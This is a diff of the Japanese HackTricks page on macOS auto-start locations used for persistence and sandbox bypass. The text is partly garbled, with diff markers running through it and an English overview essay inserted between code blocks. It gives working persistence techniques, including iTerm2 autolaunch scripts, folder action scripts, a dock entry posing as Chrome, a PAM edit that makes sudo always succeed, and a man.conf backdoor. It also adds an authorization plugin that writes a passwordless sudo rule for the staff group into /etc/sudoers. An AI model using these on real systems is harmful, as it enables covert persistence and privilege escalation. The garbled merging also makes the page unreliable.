||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -7,8 +7,8 @@
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -83,10 +83,10 @@
|
|||
新しいデーモンまたはエージェントの設定ファイルは、**次回の再起動後または** `launchctl load <target.plist>`を使用して**ロードされます**。また、拡張子なしの.plistファイルを`launchctl -F <file>`でロードすることも可能です(ただし、これらのplistファイルは自動的に再起動後にロードされません)。
|
||||
`launchctl unload <target.plist>`を使用して**アンロード**することも可能です(それによって指定されたプロセスは終了します)。
|
||||
|
||||
エージェントまたはデーモンが**実行されるのを妨げる**(オーバーライドなど)**何もないことを確認する**には、次のコマンドを実行します:`sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
|
||||
`sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`を実行して、**エージェント**または**デーモン**が**実行されるのを妨げる**(オーバーライドなど)**何もないことを確認**してください。
|
||||
{% endhint %}
|
||||
|
||||
現在のユーザーによってロードされているすべてのエージェントとデーモンをリストアップします:
|
||||
現在のユーザーによってロードされたすべてのエージェントとデーモンをリストアップします:
|
||||
```bash
|
||||
launchctl list
|
||||
```
|
||||
|
@ -270,15 +270,15 @@ open /tmp/test.terminal
|
|||
#### 位置
|
||||
|
||||
* **`/Library/Audio/Plug-Ins/HAL`**
|
||||
* ルートアクセスが必要
|
||||
* ルート権限が必要です
|
||||
* **トリガー**: coreaudiodまたはコンピュータの再起動
|
||||
* **`/Library/Audio/Plug-ins/Components`**
|
||||
* ルートアクセスが必要
|
||||
* ルート権限が必要です
|
||||
* **トリガー**: coreaudiodまたはコンピュータの再起動
|
||||
* **`~/Library/Audio/Plug-ins/Components`**
|
||||
* **トリガー**: coreaudiodまたはコンピュータの再起動
|
||||
* **`/System/Library/Components`**
|
||||
* ルートアクセスが必要
|
||||
* ルート権限が必要です
|
||||
* **トリガー**: coreaudiodまたはコンピュータの再起動
|
||||
|
||||
#### 説明
|
||||
|
@ -301,7 +301,7 @@ open /tmp/test.terminal
|
|||
|
||||
#### 説明と攻撃手法
|
||||
|
||||
QuickLookプラグインは、ファイルのプレビューを**トリガー**(Finderでファイルを選択した状態でスペースバーを押す)すると、**そのファイルタイプをサポートするプラグイン**がインストールされている場合に実行されます。
|
||||
QuickLookプラグインは、ファイルのプレビューを**トリガーする**(Finderでファイルを選択した状態でスペースバーを押す)と、そのファイルタイプをサポートする**プラグインがインストールされている**場合に実行されます。
|
||||
|
||||
独自のQuickLookプラグインをコンパイルし、前述のいずれかの場所に配置してロードし、サポートされているファイルに移動してスペースを押すことでトリガーすることが可能です。
|
||||
|
||||
|
@ -417,37 +417,31 @@ chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
|||
```
|
||||
# macOS Auto Start Locations
|
||||
|
||||
macOS provides several locations where applications and processes can be configured to automatically start when the system boots up or when a user logs in. These auto start locations can be leveraged by both legitimate applications and potentially malicious software.
|
||||
macOS provides several locations where applications and processes can be configured to automatically start when the system boots up or when a user logs in. These auto start locations can be leveraged by attackers to maintain persistence on a compromised system.
|
||||
|
||||
Understanding these auto start locations is important for system administrators and security professionals to ensure that only trusted applications are running on the system.
|
||||
## Launch Agents
|
||||
|
||||
## Auto Start Locations
|
||||
Launch Agents are plist files located in the `~/Library/LaunchAgents` directory or the `/Library/LaunchAgents` directory. These files define tasks that are executed when a user logs in. Attackers can create or modify these files to execute malicious code during system startup.
|
||||
|
||||
The following are the common auto start locations in macOS:
|
||||
## Launch Daemons
|
||||
|
||||
1. **LaunchAgents**: This location contains property list files (`plist`) that define user-specific agents that are launched when a user logs in. These agents run in the user's context and can perform tasks on behalf of the user.
|
||||
Launch Daemons are plist files located in the `/Library/LaunchDaemons` directory. These files define tasks that are executed when the system boots up, before any user logs in. Attackers can create or modify these files to execute malicious code during system startup.
|
||||
|
||||
2. **LaunchDaemons**: This location contains property list files (`plist`) that define system-wide daemons that are launched when the system boots up. These daemons run in the background and can perform tasks that require elevated privileges.
|
||||
## Startup Items
|
||||
|
||||
3. **StartupItems**: This location contains scripts and executables that are executed during the system boot process. However, this location is deprecated starting from macOS 10.5 and should not be used for new installations.
|
||||
Startup Items are legacy mechanisms that were used in older versions of macOS. They are located in the `/Library/StartupItems` directory or the `/System/Library/StartupItems` directory. These mechanisms are deprecated and not commonly used anymore.
|
||||
|
||||
4. **Login Items**: This location contains applications or documents that are automatically opened when a user logs in. Users can configure their login items in the System Preferences.
|
||||
## Login Items
|
||||
|
||||
5. **Global Startup**: This location contains applications or scripts that are executed when any user logs in. These startup items are not specific to a particular user and are executed for all users.
|
||||
Login Items are applications or processes that are configured to start when a user logs in. They can be managed through the "Users & Groups" preferences pane in System Preferences. Attackers can add malicious applications or processes to the Login Items list to achieve persistence.
|
||||
|
||||
## Verifying Auto Start Locations
|
||||
## Cron Jobs
|
||||
|
||||
To verify the auto start locations on a macOS system, you can use the following methods:
|
||||
|
||||
1. **Manual Inspection**: You can manually inspect the contents of the auto start locations using the Terminal or Finder. Look for any suspicious or unfamiliar files that may indicate the presence of malicious software.
|
||||
|
||||
2. **Command Line Tools**: macOS provides command line tools such as `launchctl` and `ls` that can be used to list and manage the auto start locations. These tools can help you identify and remove unwanted auto start entries.
|
||||
|
||||
3. **Third-Party Tools**: There are several third-party tools available that can scan and analyze the auto start locations for potential security issues. These tools can provide additional insights and automate the detection process.
|
||||
Cron Jobs are scheduled tasks that are executed at specific times or intervals. They are managed through the `crontab` command or by modifying the `/etc/crontab` file. Attackers can create or modify cron jobs to execute malicious commands or scripts.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Understanding the auto start locations in macOS is crucial for maintaining the security and integrity of the system. By regularly inspecting and managing these locations, system administrators and security professionals can ensure that only trusted applications are running on the system and mitigate the risk of unauthorized or malicious software.
|
||||
Understanding the various auto start locations in macOS is crucial for both defenders and attackers. Defenders can monitor these locations for any suspicious activity, while attackers can leverage them to maintain persistence on compromised systems. Regularly auditing and securing these auto start locations is essential for maintaining the security of macOS systems.
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -472,7 +466,7 @@ do shell script "touch /tmp/iterm2-autolaunchscpt"
|
|||
|
||||
この設定はiTerm2の設定で構成することができます:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
そして、コマンドは設定に反映されます:
|
||||
```bash
|
||||
|
@ -555,7 +549,7 @@ EOF
|
|||
|
||||
#### 説明と攻撃手法
|
||||
|
||||
デフォルトでは、`/etc/ssh/sshd_config`の`PermitUserRC no`がない限り、ユーザーが**SSH経由でログイン**すると、スクリプト**`/etc/ssh/sshrc`**と**`~/.ssh/rc`**が実行されます。
|
||||
デフォルトでは、`/etc/ssh/sshd_config`の`PermitUserRC no`が設定されていない限り、ユーザーが**SSH経由でログイン**すると、スクリプト**`/etc/ssh/sshrc`**と**`~/.ssh/rc`**が実行されます。
|
||||
|
||||
#### 説明
|
||||
|
||||
|
@ -586,7 +580,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
#### 説明
|
||||
|
||||
システム環境設定 -> ユーザーとグループ -> **ログインアイテム** には、**ユーザーがログインしたときに実行されるアイテム** があります。\
|
||||
これらをコマンドラインからリストアップ、追加、削除することが可能です。
|
||||
これらをコマンドラインからリストアップしたり、追加したり、削除したりすることができます。
|
||||
```bash
|
||||
#List all items:
|
||||
osascript -e 'tell application "System Events" to get the name of every login item'
|
||||
|
@ -605,9 +599,9 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
|
||||
(ログインアイテムに関する前のセクションを確認してください。これは拡張です)
|
||||
|
||||
**ZIP**ファイルを**ログインアイテム**として保存すると、**`Archive Utility`**がそれを開きます。たとえば、ZIPが**`~/Library`**に保存され、フォルダ**`LaunchAgents/file.plist`**がバックドアを含んでいる場合、そのフォルダが作成され(デフォルトでは作成されません)、plistが追加されます。したがって、次回ユーザーが再ログインすると、plistで指定された**バックドアが実行されます**。
|
||||
**ZIP**ファイルを**ログインアイテム**として保存すると、**`Archive Utility`**がそれを開きます。たとえば、ZIPが**`~/Library`**に保存され、バックドアを含む**`LaunchAgents/file.plist`**というフォルダが含まれている場合、そのフォルダが作成され(デフォルトでは作成されません)、plistが追加されます。したがって、次回ユーザーが再ログインすると、plistで指定された**バックドアが実行されます**。
|
||||
|
||||
別のオプションとして、ユーザーのホームディレクトリに**`.bash_profile`**と**`.zshenv`**ファイルを作成することもできます。したがって、LaunchAgentsフォルダが既に存在する場合でも、このテクニックは機能します。
|
||||
別のオプションとして、ユーザーのホームディレクトリに**`.bash_profile`**と**`.zshenv`**というファイルを作成することもできます。したがって、LaunchAgentsフォルダが既に存在する場合でも、このテクニックは機能します。
|
||||
|
||||
### At
|
||||
|
||||
|
@ -620,7 +614,7 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
#### **説明**
|
||||
|
||||
「atタスク」は、**特定の時間にタスクをスケジュールする**ために使用されます。\
|
||||
これらのタスクはcronと異なり、**一度だけ実行された後に削除**される**一時的なタスク**です。ただし、システムの再起動後も残るため、潜在的な脅威として排除することはできません。
|
||||
これらのタスクはcronとは異なり、**一度だけ実行された後に削除される**一時的なタスクです。ただし、システムの再起動後も残るため、潜在的な脅威として排除することはできません。
|
||||
|
||||
**デフォルトでは**無効ですが、**root**ユーザーは次のコマンドで**有効化**できます:
|
||||
```bash
|
||||
|
@ -734,33 +728,9 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
次のスクリプトを実行して、フォルダアクションを有効にし、以前にコンパイルされたスクリプトをフォルダ **`/users/username/Desktop`** に添付します。
|
||||
次のコマンドでコンパイルします:`osacompile -l JavaScript -o folder.scpt source.js`
|
||||
|
||||
```applescript
|
||||
tell application "Finder"
|
||||
set folderPath to POSIX file "/users/username/Desktop" as alias
|
||||
set scriptPath to POSIX file "/path/to/folder.scpt" as alias
|
||||
set folderActionsEnabled to folder actions enabled
|
||||
if not folderActionsEnabled then
|
||||
set folder actions enabled to true
|
||||
end if
|
||||
try
|
||||
set currentScripts to scripts of folder folderPath
|
||||
repeat with currentScript in currentScripts
|
||||
if name of currentScript is equal to name of scriptPath then
|
||||
exit repeat
|
||||
end if
|
||||
end repeat
|
||||
if currentScript is not equal to scriptPath then
|
||||
make new script file at folderPath with properties {name:name of scriptPath, contents:read scriptPath}
|
||||
end if
|
||||
on error
|
||||
make new script file at folderPath with properties {name:name of scriptPath, contents:read scriptPath}
|
||||
end try
|
||||
end tell
|
||||
```
|
||||
|
||||
このスクリプトは、指定したフォルダにフォルダアクションを有効にし、以前にコンパイルされたスクリプトを添付します。フォルダアクションが有効でない場合は、有効にします。指定したフォルダ内のスクリプトを確認し、既に同じ名前のスクリプトが存在する場合は、スクリプトの作成をスキップします。スクリプトが存在しない場合は、新しいスクリプトファイルを作成します。
|
||||
次に、以下のスクリプトを実行して、フォルダアクションを有効にし、以前にコンパイルされたスクリプトをフォルダ **`/users/username/Desktop`** にアタッチします:
|
||||
```javascript
|
||||
var se = Application("System Events");
|
||||
se.folderActionsEnabled = true;
|
||||
|
@ -795,13 +765,13 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
```
|
||||
次に、「Folder Actions Setup」アプリを開き、**監視したいフォルダ**を選択し、この場合は**`folder.scpt`**(私の場合はoutput2.scpと呼んでいます)を選択します:
|
||||
次に、「Folder Actions Setup」アプリを開き、**監視したいフォルダ**を選択し、この場合は**`folder.scpt`**(私の場合はoutput2.scpと呼びました)を選択します。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
|
||||
これで、**Finder**でそのフォルダを開くと、スクリプトが実行されます。
|
||||
|
||||
この設定は、**base64形式で保存された**plistファイルに保存されています。場所は**`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**です。
|
||||
この設定は、**base64形式のplist**に保存されています。場所は**`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**です。
|
||||
|
||||
次に、GUIアクセスなしでこの永続性を準備してみましょう:
|
||||
|
||||
|
@ -817,7 +787,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
4. この設定を適用するために、Folder Actions Setup.appを開きます:`open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
|
||||
{% hint style="danger" %}
|
||||
私の場合はうまくいきませんでしたが、これがwriteupの指示です:(
|
||||
私の場合はうまくいきませんでしたが、これが手順です :(
|
||||
{% endhint %}
|
||||
|
||||
### Spotlight Importers
|
||||
|
@ -834,7 +804,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
|
||||
#### 説明
|
||||
|
||||
**重いサンドボックス**に入ることになるため、おそらくこのテクニックを使用したくないでしょう。
|
||||
**重いサンドボックス**に入ることになるため、おそらくこのテクニックは使用したくないでしょう。
|
||||
|
||||
### Dockショートカット
|
||||
|
||||
|
@ -850,9 +820,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.
|
|||
|
||||
#### 説明と攻撃手法
|
||||
|
||||
ドックに表示されるすべてのアプリケーションは、plistファイル**`~/Library/Preferences/com.apple.dock.plist`**で指定されています。
|
||||
ドックに表示されるすべてのアプリケーションは、plist内で指定されています:**`~/Library/Preferences/com.apple.dock.plist`**
|
||||
|
||||
次のコマンドで、**アプリケーションを追加**することができます:
|
||||
次のように、**アプリケーションを追加**することができます:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -864,7 +834,7 @@ killall Dock
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
いくつかの**ソーシャルエンジニアリング**を使用すると、ドック内でGoogle Chromeのように偽装し、実際に独自のスクリプトを実行することができます。
|
||||
いくつかの**ソーシャルエンジニアリング**を使用すると、ドック内でGoogle Chromeなどを**なりすまし**、実際に独自のスクリプトを実行することができます。
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -984,20 +954,20 @@ pluginkit -e use -i com.example.InSync.InSync
|
|||
|
||||
* `/System/Library/Screen Savers` 
|
||||
* ルート権限が必要
|
||||
* **トリガー**: スクリーンセーバーを選択
|
||||
* **トリガー**: スクリーンセーバーを選択する
|
||||
* `/Library/Screen Savers`
|
||||
* ルート権限が必要
|
||||
* **トリガー**: スクリーンセーバーを選択
|
||||
* **トリガー**: スクリーンセーバーを選択する
|
||||
* `~/Library/Screen Savers`
|
||||
* **トリガー**: スクリーンセーバーを選択
|
||||
* **トリガー**: スクリーンセーバーを選択する
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### 説明とエクスプロイト
|
||||
#### 説明と攻撃手法
|
||||
|
||||
Xcodeで新しいプロジェクトを作成し、新しい**スクリーンセーバー**を生成するためのテンプレートを選択します。次に、ログを生成するための以下のコードなどを追加します。
|
||||
|
||||
**ビルド**し、`.saver`バンドルを**`~/Library/Screen Savers`**にコピーします。そして、スクリーンセーバーGUIを開き、それをクリックするだけで、たくさんのログが生成されるはずです:
|
||||
**ビルド**し、`.saver`バンドルを**`~/Library/Screen Savers`**にコピーします。その後、スクリーンセーバーGUIを開き、クリックするだけで多くのログが生成されるはずです:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1161,9 +1131,9 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
{% endhint %}
|
||||
|
||||
独自のインポータを作成するには、このプロジェクトを使用して開始できます:[https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) そして、名前を変更し、**`CFBundleDocumentTypes`**を変更し、**`UTImportedTypeDeclarations`**を追加して、サポートする拡張子をサポートし、**`schema.xml`**でそれらを反映させます。\
|
||||
次に、関数**`GetMetadataForFile`**のコードを**変更**して、処理された拡張子を持つファイルが作成されたときにペイロードを実行します。
|
||||
次に、関数**`GetMetadataForFile`**のコードを変更して、処理された拡張子を持つファイルが作成されたときにペイロードを実行します。
|
||||
|
||||
最後に、新しい`.mdimporter`を**ビルドしてコピー**して、3つの前述の場所のいずれかに配置し、**ログを監視**するか、**`mdimport -L.`**をチェックすることで、ロードされたかどうかを確認できます。
|
||||
最後に、新しい`.mdimporter`をいずれかの場所に**ビルドしてコピー**し、**ログを監視**するか、**`mdimport -L.`**をチェックしてロードされているかどうかを確認できます。
|
||||
|
||||
### ~~Preference Pane~~
|
||||
|
||||
|
@ -1189,7 +1159,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
## Root Sandbox Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
ここでは、**サンドボックスをバイパス**するために役立つスタート位置を見つけることができます。これにより、**ルート**で何かを**ファイルに書き込むだけで**実行したり、他の**奇妙な条件**を必要としたりすることができます。
|
||||
ここでは、**サンドボックスをバイパス**するために役立つスタート位置を見つけることができます。単に**ファイルに書き込むことで**何かを実行することができます。これには**root**であることや他の**奇妙な条件**が必要です。
|
||||
{% endhint %}
|
||||
|
||||
### Periodic
|
||||
|
@ -1197,20 +1167,20 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
解説:[https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/)
|
||||
|
||||
* サンドボックスをバイパスするのに便利:[🟠](https://emojipedia.org/large-orange-circle)
|
||||
* ただし、ルートである必要があります
|
||||
* ただし、rootである必要があります
|
||||
|
||||
#### 場所
|
||||
|
||||
* `/etc/periodic/daily`、`/etc/periodic/weekly`、`/etc/periodic/monthly`、`/usr/local/etc/periodic`
|
||||
* ルートが必要です
|
||||
* rootが必要です
|
||||
* **トリガー**:時間が来たとき
|
||||
* `/etc/daily.local`、`/etc/weekly.local`、または`/etc/monthly.local`
|
||||
* ルートが必要です
|
||||
* rootが必要です
|
||||
* **トリガー**:時間が来たとき
|
||||
|
||||
#### 説明と攻撃手法
|
||||
|
||||
定期的なスクリプト(**`/etc/periodic`**)は、`/System/Library/LaunchDaemons/com.apple.periodic*`に設定された**ランチデーモン**のために実行されます。`/etc/periodic/`に保存されたスクリプトは、ファイルの所有者として**実行**されるため、潜在的な特権エスカレーションには機能しません。
|
||||
定期的なスクリプト(**`/etc/periodic`**)は、`/System/Library/LaunchDaemons/com.apple.periodic*`に設定された**ランチデーモン**のために実行されます。`/etc/periodic/`に保存されたスクリプトは、**ファイルの所有者として実行**されるため、潜在的な特権エスカレーションには機能しません。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1252,7 +1222,7 @@ daily_local="/etc/daily.local" # Local scripts
|
|||
weekly_local="/etc/weekly.local" # Local scripts
|
||||
monthly_local="/etc/monthly.local" # Local scripts
|
||||
```
|
||||
`/etc/daily.local`、`/etc/weekly.local`、または`/etc/monthly.local`のいずれかのファイルを書き込むことができれば、**遅かれ早かれ実行されます**。
|
||||
もし、`/etc/daily.local`、`/etc/weekly.local`、または`/etc/monthly.local`のいずれかのファイルを書き込むことができれば、**遅かれ早かれ実行されます**。
|
||||
|
||||
{% hint style="warning" %}
|
||||
定期スクリプトは、スクリプトの所有者として**実行される**ことに注意してください。したがって、通常のユーザーがスクリプトを所有している場合、そのユーザーとして実行されます(これにより特権エスカレーション攻撃が防止される場合があります)。
|
||||
|
@ -1293,7 +1263,7 @@ account required pam_permit.so
|
|||
password required pam_deny.so
|
||||
session required pam_permit.so
|
||||
```
|
||||
したがって、**`sudo`を使用する試みは成功します**。
|
||||
したがって、**`sudo`を使用する試みはすべて成功します**。
|
||||
|
||||
{% hint style="danger" %}
|
||||
このディレクトリはTCCによって保護されているため、ユーザーはアクセスを求めるプロンプトが表示される可能性が非常に高いことに注意してください。
|
||||
|
@ -1310,35 +1280,77 @@ session required pam_permit.so
|
|||
#### 位置
|
||||
|
||||
* `/Library/Security/SecurityAgentPlugins/`
|
||||
* rootが必要です
|
||||
* root権限が必要です
|
||||
* 認証データベースをプラグインを使用するように設定する必要もあります
|
||||
|
||||
#### 説明と攻撃手法
|
||||
|
||||
ユーザーがログインするときに実行される認証プラグインを作成して、持続性を維持することができます。これらのプラグインの作成方法の詳細については、前の解説を参照してください(ただし、不適切に作成されたプラグインはロックアウトされる可能性があり、回復モードからMacをクリーンアップする必要があります)。
|
||||
ユーザーがログインすると実行される認証プラグインを作成して、持続性を維持することができます。これらのプラグインの作成方法の詳細については、前述の解説を参照してください(ただし、不適切に作成されたプラグインはロックアウトの原因となる可能性があり、回復モードからMacをクリーンアップする必要があります)。
|
||||
```objectivec
|
||||
// Compile the code and create a real bundle
|
||||
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||
// mkdir -p CustomAuth.bundle/Contents/MacOS
|
||||
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
__attribute__((constructor)) static void run()
|
||||
{
|
||||
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
|
||||
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
|
||||
}
|
||||
```
|
||||
**バンドル**をロードされる場所に移動します:
|
||||
```bash
|
||||
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
|
||||
```
|
||||
最後に、このプラグインを読み込むための**ルール**を追加します:
|
||||
```bash
|
||||
cat > /tmp/rule.plist <<EOF
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>class</key>
|
||||
<string>evaluate-mechanisms</string>
|
||||
<key>mechanisms</key>
|
||||
<array>
|
||||
<string>CustomAuth:login,privileged</string>
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
||||
EOF
|
||||
|
||||
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
||||
```
|
||||
以下の方法でトリガーします:
|
||||
```bash
|
||||
security authorize com.asdf.asdf
|
||||
```
|
||||
そして、**スタッフグループはsudoアクセス権限を持つべき**です(確認するために`/etc/sudoers`を読み取ります)。
|
||||
|
||||
### Man.conf
|
||||
|
||||
解説: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
|
||||
解説:[https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
|
||||
|
||||
* サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* サンドボックスをバイパスするのに便利:[🟠](https://emojipedia.org/large-orange-circle)
|
||||
* ただし、rootである必要があり、ユーザーはmanを使用する必要があります
|
||||
|
||||
#### 位置
|
||||
#### 場所
|
||||
|
||||
* **`/private/etc/man.conf`**
|
||||
* rootが必要です
|
||||
* **`/private/etc/man.conf`**: manが使用されるたびに
|
||||
* rootが必要
|
||||
* **`/private/etc/man.conf`**:manが使用されるたびに
|
||||
|
||||
#### 説明と攻撃手法
|
||||
#### 説明とエクスプロイト
|
||||
|
||||
設定ファイル**`/private/etc/man.conf`**は、manドキュメントファイルを開くときに使用するバイナリ/スクリプトを示します。したがって、実行可能ファイルのパスを変更することで、ユーザーがmanを使用してドキュメントを読むたびにバックドアが実行されるようにすることができます。
|
||||
設定ファイル**`/private/etc/man.conf`**は、manドキュメントファイルを開く際に使用するバイナリ/スクリプトを示しています。したがって、実行可能ファイルのパスを変更することで、ユーザーがドキュメントを読むためにmanを使用するたびにバックドアが実行されます。
|
||||
|
||||
例えば、**`/private/etc/man.conf`**に設定する:
|
||||
例えば、**`/private/etc/man.conf`**に設定する:
|
||||
```
|
||||
MANPAGER /tmp/view
|
||||
```
|
||||
次に、`/tmp/view`を以下のように作成します:
|
||||
そして、`/tmp/view`を以下のように作成します:
|
||||
```bash
|
||||
#!/bin/zsh
|
||||
|
||||
|
@ -1461,14 +1473,14 @@ RunService "$1"
|
|||
### emond
|
||||
|
||||
{% hint style="danger" %}
|
||||
私のmacOSにはこのコンポーネントが見つかりませんので、詳細についてはwriteupを確認してください。
|
||||
私のmacOSにはこのコンポーネントが見つかりませんので、詳細はwriteupを確認してください。
|
||||
{% endhint %}
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
Appleは**emond**というログ記録メカニズムを導入しました。これは完全に開発されなかったようで、Appleは他のメカニズムのために開発を**放棄**した可能性がありますが、それは**利用可能**なままです。
|
||||
Appleは**emond**と呼ばれるログ記録メカニズムを導入しました。これは完全に開発されなかったようで、Appleは他のメカニズムのために開発を**放棄**した可能性がありますが、それは**利用可能**なままです。
|
||||
|
||||
このあまり知られていないサービスは、Macの管理者にはあまり役に立たないかもしれませんが、脅威の存在する者にとっては、macOSの管理者がおそらく調べることを知らない**永続化メカニズム**として使用する非常に良い理由となるでしょう。 emondの悪用を検出することは難しくありません。なぜなら、サービスのSystem LaunchDaemonはスクリプトを実行する場所を1つだけ探し求めるからです。
|
||||
このあまり知られていないサービスは、Macの管理者にはあまり役に立たないかもしれませんが、脅威の存在する者にとっては、macOSの管理者がおそらく調べることを知らない**永続性メカニズム**として使用する非常に良い理由となるでしょう。 emondの悪用を検出することは難しくありません。なぜなら、サービスのためのシステムランチデーモンは、スクリプトを実行する場所を1か所だけ探すからです。
|
||||
```bash
|
||||
ls -l /private/var/db/emondClients
|
||||
```
|
||||
|
@ -1484,20 +1496,20 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
|
|||
|
||||
#### 説明とエクスプロイト
|
||||
|
||||
XQuartzは**もはやmacOSにインストールされていない**ため、詳細についてはwriteupを確認してください。
|
||||
XQuartzは**もはやmacOSにインストールされていない**ため、詳細についてはwriteupを参照してください。
|
||||
|
||||
### ~~kext~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
ルートとしてさえkextをインストールするのは非常に複雑なので、サンドボックスからの脱出や持続性のためには考慮しないでください(エクスプロイトがある場合を除く)
|
||||
ルートとしてkextをインストールするのは非常に複雑なので、サンドボックスからの脱出や持続性のためには考慮しないでください(エクスプロイトがある場合を除く)
|
||||
{% endhint %}
|
||||
|
||||
#### 場所
|
||||
|
||||
KEXTをスタートアップアイテムとしてインストールするには、次のいずれかの場所に**インストールする必要があります**:
|
||||
KEXTを起動アイテムとしてインストールするには、次のいずれかの場所に**インストールする必要があります**:
|
||||
|
||||
* `/System/Library/Extensions`
|
||||
